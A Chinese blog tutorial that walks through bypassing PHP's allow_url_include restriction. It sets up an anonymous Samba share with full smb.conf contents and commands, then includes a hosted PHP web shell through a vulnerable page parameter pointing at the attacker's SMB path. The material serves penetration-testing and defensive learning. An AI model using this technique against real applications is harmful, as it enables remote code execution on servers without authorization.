使用SMB共享来绕过php远程文件包含的限制执行RFI的利用


Posted in PHP onMay 31, 2019

在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:

apt-get install samba创建SMB共享目录:

mkdir /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

运行以下命令,删除SAMBA服务器配置文件的默认内容。

echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:

\\192.168.0.3\ 

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

总结

以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
利用 window_onload 实现select默认选择
Oct 09 PHP
PHP array操作10个小技巧分享
Jun 23 PHP
PHP详解ASCII码对照表与字符转换
Dec 05 PHP
phpize的深入理解
Jun 03 PHP
解析php中获取系统信息的方法
Jun 25 PHP
PHP查找与搜索数组元素方法总结
Jun 12 PHP
PHP实现图片自动清理的方法
Jul 08 PHP
Ubuntu 16.04下安装PHP 7过程详解
Mar 28 PHP
PHP中模糊查询并关联三个select框
Jun 19 PHP
php JWT在web端中的使用方法教程
Sep 06 PHP
实例解析php的数据类型
Oct 24 PHP
php和C#的yield迭代器实现方法对比分析
Jul 17 PHP
PHP使用ActiveMQ实现消息队列的方法详解
May 31 #PHP
php中的buffer缓冲区用法分析
May 31 #PHP
PHP实现基于状态的责任链审批模式详解
May 31 #PHP
Laravel框架实现调用百度翻译API功能示例
May 30 #PHP
Laravel框架学习笔记之批量更新数据功能
May 30 #PHP
PHP实现的微信公众号扫码模拟登录功能示例
May 30 #PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 #PHP
You might like
php执行sql语句的写法
2009/03/10 PHP
使用php批量删除数据库下所有前缀为prefix_的表
2014/06/09 PHP
kindeditor 加入七牛云上传的实例讲解
2017/11/12 PHP
原生JS操作网页给p元素添加onclick事件及表格隔行变色
2013/12/01 Javascript
用jquery的方法制作一个简单的导航栏
2014/06/23 Javascript
z-blog SyntaxHighlighter 长代码无法换行解决办法(jquery)
2014/11/16 Javascript
jquery实现的缩略图预览滑块实例
2015/06/25 Javascript
Bootstrap轮播插件中图片变形的终极解决方案 使用jqthumb.js
2016/07/10 Javascript
Vue.js实现一个自定义分页组件vue-paginaiton
2016/09/05 Javascript
Jquery Easyui搜索框组件SearchBox使用详解(19)
2016/12/17 Javascript
JQuery实现table中tr上移下移的示例(超简单)
2018/01/08 jQuery
Vue+jquery实现表格指定列的文字收缩的示例代码
2018/01/09 jQuery
详解组件库的webpack构建速度优化
2018/06/18 Javascript
Vue实现导航栏点击当前标签变色功能
2020/08/19 Javascript
vue表单数据交互提交演示教程
2019/11/13 Javascript
Js Snowflake(雪花算法)生成随机ID的实现方法
2020/08/26 Javascript
[07:52]2014DOTA2 TI逗比武士游V社解说背后的故事
2014/07/10 DOTA
使用python装饰器验证配置文件示例
2014/02/24 Python
Python实现Linux命令xxd -i功能
2016/03/06 Python
python3中set(集合)的语法总结分享
2017/03/24 Python
python转化excel数字日期为标准日期操作
2020/07/14 Python
基于css3 animate制作绚丽的动画效果
2015/11/24 HTML / CSS
AmazeUI 图标的示例代码
2020/08/13 HTML / CSS
美国顶级水上运动专业店:Marine Products
2018/04/15 全球购物
Traffic People官网:女式花裙、上衣和连身裤
2020/10/12 全球购物
C#面试题
2016/05/06 面试题
迎新晚会主持词
2014/03/24 职场文书
大学优秀班主任事迹材料
2014/05/02 职场文书
校园环保广播稿(3篇)
2014/09/15 职场文书
群众路线个人整改方案
2014/10/25 职场文书
房屋所有权证明
2015/06/19 职场文书
2015国庆节放假通知范文
2015/07/30 职场文书
送给客户微信问候语!
2019/07/04 职场文书
Java基于字符界面的简易收银台
2021/06/26 Java/Android
Win Server2016远程桌面如何允许多用户同时登录
2022/06/10 Servers
Win11如何查看显卡型号 Win11查看显卡型号的方法
2022/08/14 数码科技